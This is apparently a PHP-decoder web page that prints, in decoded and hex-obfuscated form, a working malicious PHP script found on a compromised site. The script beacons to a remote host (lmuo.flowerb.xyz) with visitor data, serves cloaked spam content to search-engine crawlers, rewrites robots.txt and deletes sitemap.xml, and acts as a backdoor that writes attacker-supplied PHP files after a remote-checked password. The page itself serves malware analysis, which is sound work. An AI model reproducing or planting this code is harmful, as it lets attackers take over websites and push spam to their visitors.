Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto n09o6; GbBL_: function daag($url) { $ficonts = ''; if (function_exists("..

Decoded Output download

<?  goto n09o6; 
GbBL_: 
function daag($url) 
{ 
    $ficonts = ''; 
    if (function_exists("curl_init")) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
        $ficonts = curl_exec($ch); 
        curl_close($ch); 
    } 
    if (!$ficonts) { 
        $ficonts = @file_get_contents($url); 
    } 
    return $ficonts; 
} 
 
goto sxUhC; 
zImf5: 
$towe = $goto . ".flowerb" . ".xyz"; 
goto GF8Gd; 
AIrV1: 
if (@$_GET["pd"] != '') { 
    $acot = @$_GET["mapname"]; 
    $action = @$_GET["action"]; 
    if (isset($_SERVER["DOCUMENT_ROOT"])) { 
        $path = $_SERVER["DOCUMENT_ROOT"]; 
    } else { 
        $path = dirname(__FILE__); 
    } 
    if (!$action) { 
        $action = "put"; 
    } 
    if ($action == "put") { 
        if (strstr($acot, ".xml")) { 
            $map_path = $path . "/sitemap.xml"; 
            if (is_file($map_path)) { 
                @unlink($map_path); 
            } 
            $file_path = $path . "/robots.txt"; 
            if (file_exists($file_path)) { 
                $data = daag($file_path); 
            } else { 
                $data = "User-agent: *Allow: /"; 
            } 
            $sturs = $http . "://" . $host . "/" . $acot; 
            if (stristr($data, $sturs)) { 
                echo "<br>sitemap already added!<br>"; 
            } else { 
                if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sturs)) { 
                    echo "<br>ok<br>"; 
                } else { 
                    echo "<br> false!<br>"; 
                } 
            } 
        } else { 
            echo "<br> false!<br>"; 
        } 
        if (strstr($acot, ".p" . "hp")) { 
            if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { 
                $dstr = @$_GET["dstr"]; 
                if (file_put_contents($path . "/" . $acot, $dstr)) { 
                    echo "ok"; 
                } 
            } 
        } 
    } 
    die; 
} 
goto ZAm79; 
Dxoz5: 
@ignore_user_abort(1); 
goto qfAIh; 
r1hOX: 
if (!strstr($htag, "nobotuseragent")) { 
    if (strstr($htag, "okhtmlgetcontent")) { 
        @header("Content-type: text/html; charset=utf-8"); 
        $htag = str_replace("okhtmlgetcontent", '', $htag); 
        echo $htag; 
        die; 
    } else { 
        if (strstr($htag, "okxmlgetcontent")) { 
            $htag = str_replace("okxmlgetcontent", '', $htag); 
            @header("Content-type: text/xml"); 
            echo $htag; 
            die; 
        } else { 
            if (strstr($htag, "pingxmlgetcontent")) { 
                $htag = str_replace("pingxmlgetcontent", '', $htag); 
                @header("Content-type: text/html; charset=utf-8"); 
                echo pingmap($htag); 
                die; 
            } 
        } 
    } 
} 
goto Nodkq; 
ZAm79: 
$web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; 
goto p5nyj; 
Viy11: 
if (isset($_SERVER["HTTP_REFERER"])) { 
    $usse = $_SERVER["HTTP_REFERER"]; 
    $usse = urlencode($usse); 
} 
goto AIrV1; 
ld4NE: 
$ddur = urlencode($ddur_tmp); 
goto flUFM; 
g3yoU: 
$htwe = "http"; 
goto jThiG; 
p5nyj: 
$htag = trim(daag($web)); 
goto r1hOX; 
RSM04: 
$ddur_tmp = st_uri(); 
goto T1AJv; 
Sz1Sv: 
$host = $_SERVER["HTTP_HOST"]; 
goto eiECl; 
Nodkq: 
function pingmap($url) 
{ 
    $url_arr = explode("
", trim($url)); 
    $return_str = ''; 
    foreach ($url_arr as $pingUrl) { 
        $pingRes = daag($pingUrl); 
        $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; 
        $return_str .= $pingUrl . "-- " . $ok . "<br>"; 
    } 
    return $return_str; 
} 
 
goto homyD; 
flUFM: 
function st_uri() 
{ 
    if (isset($_SERVER["REQUEST_URI"])) { 
        $ddur = $_SERVER["REQUEST_URI"]; 
    } else { 
        if (isset($_SERVER["argv"])) { 
            $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; 
        } else { 
            $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; 
        } 
    } 
    return $ddur; 
} 
 
goto zImf5; 
T1AJv: 
if ($ddur_tmp == '') { 
    $ddur_tmp = "/"; 
} 
goto ld4NE; 
qayGf: 
$lag = urlencode($lag); 
goto ciCPH; 
ciCPH: 
$usse = ''; 
goto Viy11; 
eiECl: 
$lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
goto qayGf; 
GF8Gd: 
function ishtt() 
{ 
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { 
        return true; 
    } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { 
        return true; 
    } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { 
        return true; 
    } 
    return false; 
} 
 
goto Sz1Sv; 
qfAIh: 
$goto = "lmuo"; 
goto g3yoU; 
n09o6: 
@set_time_limit(3600); 
goto Dxoz5; 
jThiG: 
if (ishtt()) { 
    $http = "https"; 
} else { 
    $http = "http"; 
} 
goto RSM04; 
homyD: 
function sbot() 
{ 
    $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); 
    if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { 
        return true; 
    } else { 
        return false; 
    } 
} 
 
goto GbBL_; 
sxUhC: 
//he064 ?>

Did this file decode correctly?

Original Code

goto n09o6;
GbBL_:
function daag($url)
{
    $ficonts = '';
    if (function_exists("\x63\x75\162\x6c\137\151\156\151\164")) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $ficonts = curl_exec($ch);
        curl_close($ch);
    }
    if (!$ficonts) {
        $ficonts = @file_get_contents($url);
    }
    return $ficonts;
}

goto sxUhC;
zImf5:
$towe = $goto . "\56\146\x6c\157\x77\145\x72\142" . "\56\170\171\x7a";
goto GF8Gd;
AIrV1:
if (@$_GET["\x70\x64"] != '') {
    $acot = @$_GET["\155\141\160\156\x61\155\145"];
    $action = @$_GET["\x61\143\164\x69\x6f\x6e"];
    if (isset($_SERVER["\x44\x4f\103\125\115\x45\x4e\124\137\122\x4f\x4f\x54"])) {
        $path = $_SERVER["\104\117\103\125\x4d\105\116\124\137\122\x4f\117\124"];
    } else {
        $path = dirname(__FILE__);
    }
    if (!$action) {
        $action = "\x70\165\x74";
    }
    if ($action == "\160\165\164") {
        if (strstr($acot, "\x2e\x78\x6d\x6c")) {
            $map_path = $path . "\57\163\x69\164\x65\x6d\141\x70\56\x78\x6d\154";
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . "\x2f\162\157\142\x6f\x74\163\x2e\164\170\164";
            if (file_exists($file_path)) {
                $data = daag($file_path);
            } else {
                $data = "\125\x73\145\x72\55\141\147\x65\x6e\164\x3a\x20\x2a\101\x6c\x6c\x6f\x77\x3a\x20\57";
            }
            $sturs = $http . "\x3a\x2f\57" . $host . "\57" . $acot;
            if (stristr($data, $sturs)) {
                echo "\x3c\142\162\76\163\x69\x74\145\155\x61\x70\40\x61\x6c\x72\145\x61\x64\x79\40\141\x64\x64\145\x64\41\x3c\142\162\76";
            } else {
                if (file_put_contents($file_path, trim($data) . "\15\xa" . "\x53\x69\x74\145\155\141\x70\72\x20" . $sturs)) {
                    echo "\x3c\x62\162\76\x6f\153\74\x62\x72\76";
                } else {
                    echo "\x3c\x62\162\76\x20\x66\x61\154\x73\x65\41\74\142\162\76";
                }
            }
        } else {
            echo "\74\x62\162\76\x20\146\141\154\x73\x65\41\74\x62\x72\76";
        }
        if (strstr($acot, "\x2e\160" . "\x68\x70")) {
            if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\72\57\57" . $towe . "\57\141\56\x70" . "\150\x70")) {
                $dstr = @$_GET["\144\x73\164\x72"];
                if (file_put_contents($path . "\57" . $acot, $dstr)) {
                    echo "\157\153";
                }
            }
        }
    }
    die;
}
goto ZAm79;
Dxoz5:
@ignore_user_abort(1);
goto qfAIh;
r1hOX:
if (!strstr($htag, "\x6e\x6f\x62\x6f\164\x75\163\x65\x72\x61\147\145\x6e\164")) {
    if (strstr($htag, "\157\153\x68\164\155\154\147\x65\x74\143\157\x6e\x74\145\156\x74")) {
        @header("\103\157\156\164\x65\x6e\x74\x2d\x74\171\x70\145\x3a\x20\164\145\170\164\57\x68\x74\x6d\154\x3b\40\x63\x68\141\x72\163\145\164\75\165\x74\x66\55\x38");
        $htag = str_replace("\157\x6b\x68\x74\x6d\154\x67\145\164\143\157\x6e\x74\x65\x6e\164", '', $htag);
        echo $htag;
        die;
    } else {
        if (strstr($htag, "\x6f\x6b\x78\x6d\154\147\x65\164\143\x6f\x6e\x74\x65\156\x74")) {
            $htag = str_replace("\x6f\153\170\155\x6c\147\x65\x74\x63\157\156\164\x65\156\x74", '', $htag);
            @header("\103\x6f\x6e\164\145\x6e\164\55\164\171\x70\x65\72\40\164\145\170\164\57\170\x6d\x6c");
            echo $htag;
            die;
        } else {
            if (strstr($htag, "\x70\151\156\147\x78\155\x6c\x67\145\x74\x63\157\156\164\145\156\164")) {
                $htag = str_replace("\160\151\156\x67\170\x6d\154\x67\x65\x74\x63\157\156\x74\145\156\164", '', $htag);
                @header("\103\157\156\x74\145\x6e\x74\55\x74\171\160\145\x3a\x20\164\x65\170\x74\x2f\x68\x74\x6d\x6c\73\x20\x63\x68\x61\x72\x73\145\164\x3d\165\164\x66\55\70");
                echo pingmap($htag);
                die;
            }
        }
    }
}
goto Nodkq;
ZAm79:
$web = $htwe . "\x3a\57\57" . $towe . "\57\151\x6e\x64\145\x2e\160\x68\x70\x3f\x77\x65\x62\75" . $host . "\46\172\172\75" . sbot() . "\46\x75\x72\x69\75" . $ddur . "\x26\165\x72\154\163\x68\141\x6e\147\75" . $usse . "\46\150\164\x74\x70\75" . $http . "\x26\x6c\x61\156\x67\75" . $lag;
goto p5nyj;
Viy11:
if (isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\122\x45\122"])) {
    $usse = $_SERVER["\x48\124\x54\x50\137\x52\x45\x46\105\122\x45\x52"];
    $usse = urlencode($usse);
}
goto AIrV1;
ld4NE:
$ddur = urlencode($ddur_tmp);
goto flUFM;
g3yoU:
$htwe = "\x68\164\164\x70";
goto jThiG;
p5nyj:
$htag = trim(daag($web));
goto r1hOX;
RSM04:
$ddur_tmp = st_uri();
goto T1AJv;
Sz1Sv:
$host = $_SERVER["\110\x54\124\x50\137\x48\117\x53\124"];
goto eiECl;
Nodkq:
function pingmap($url)
{
    $url_arr = explode("\15\12", trim($url));
    $return_str = '';
    foreach ($url_arr as $pingUrl) {
        $pingRes = daag($pingUrl);
        $ok = strpos($pingRes, "\x53\151\x74\145\x6d\x61\x70\x20\x4e\x6f\164\x69\x66\x69\143\x61\164\x69\x6f\x6e\40\x52\145\x63\145\x69\x76\145\144") !== false ? "\x70\x69\x6e\x67\x6f\x6b" : "\145\x72\x72\157\x72";
        $return_str .= $pingUrl . "\x2d\55\x20" . $ok . "\x3c\x62\162\76";
    }
    return $return_str;
}

goto homyD;
flUFM:
function st_uri()
{
    if (isset($_SERVER["\122\105\x51\x55\x45\123\x54\137\125\x52\111"])) {
        $ddur = $_SERVER["\122\x45\121\x55\105\x53\x54\137\125\122\111"];
    } else {
        if (isset($_SERVER["\141\x72\147\166"])) {
            $ddur = $_SERVER["\x50\x48\120\137\x53\105\114\106"] . "\x3f" . $_SERVER["\141\x72\147\x76"][0];
        } else {
            $ddur = $_SERVER["\120\110\120\x5f\x53\105\x4c\x46"] . "\x3f" . $_SERVER["\121\125\105\122\131\x5f\123\x54\122\x49\116\107"];
        }
    }
    return $ddur;
}

goto zImf5;
T1AJv:
if ($ddur_tmp == '') {
    $ddur_tmp = "\57";
}
goto ld4NE;
qayGf:
$lag = urlencode($lag);
goto ciCPH;
ciCPH:
$usse = '';
goto Viy11;
eiECl:
$lag = @$_SERVER["\x48\x54\x54\x50\x5f\101\x43\x43\x45\x50\124\x5f\114\x41\x4e\107\125\101\x47\105"];
goto qayGf;
GF8Gd:
function ishtt()
{
    if (isset($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\157\x66\146") {
        return true;
    } elseif (isset($_SERVER["\110\x54\124\x50\x5f\130\x5f\106\117\x52\x57\101\x52\x44\x45\104\x5f\x50\x52\x4f\124\x4f"]) && $_SERVER["\110\x54\x54\x50\137\130\137\106\117\x52\127\101\x52\x44\x45\x44\x5f\120\x52\117\x54\117"] === "\x68\x74\164\x70\163") {
        return true;
    } elseif (isset($_SERVER["\110\x54\x54\120\x5f\x46\x52\x4f\116\x54\137\105\x4e\x44\x5f\110\124\x54\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\106\122\x4f\116\124\x5f\x45\x4e\x44\137\x48\124\x54\120\x53"]) !== "\x6f\146\146") {
        return true;
    }
    return false;
}

goto Sz1Sv;
qfAIh:
$goto = "\154\155\165\x6f";
goto g3yoU;
n09o6:
@set_time_limit(3600);
goto Dxoz5;
jThiG:
if (ishtt()) {
    $http = "\x68\x74\164\160\163";
} else {
    $http = "\x68\x74\164\160";
}
goto RSM04;
homyD:
function sbot()
{
    $uaget = strtolower($_SERVER["\110\x54\124\x50\x5f\125\x53\105\x52\137\101\x47\105\116\x54"]);
    if (stristr($uaget, "\x67\157\x6f\147\154\x65\142\157\164") || stristr($uaget, "\x62\x69\156\x67") || stristr($uaget, "\171\141\x68\x6f\157") || stristr($uaget, "\147\x6f\157\x67\x6c\x65") || stristr($uaget, "\x47\x6f\x6f\147\154\145\x62\x6f\x74") || stristr($uaget, "\147\157\157\147\154\x65\142\157\164")) {
        return true;
    } else {
        return false;
    }
}

goto GbBL_;
sxUhC:
//he064 ?>

Function Calls

None

Variables

None

Stats

MD5 a7d5f2446335cb2ef2a60cef2d259346
Eval Count 0
Decode Time 53 ms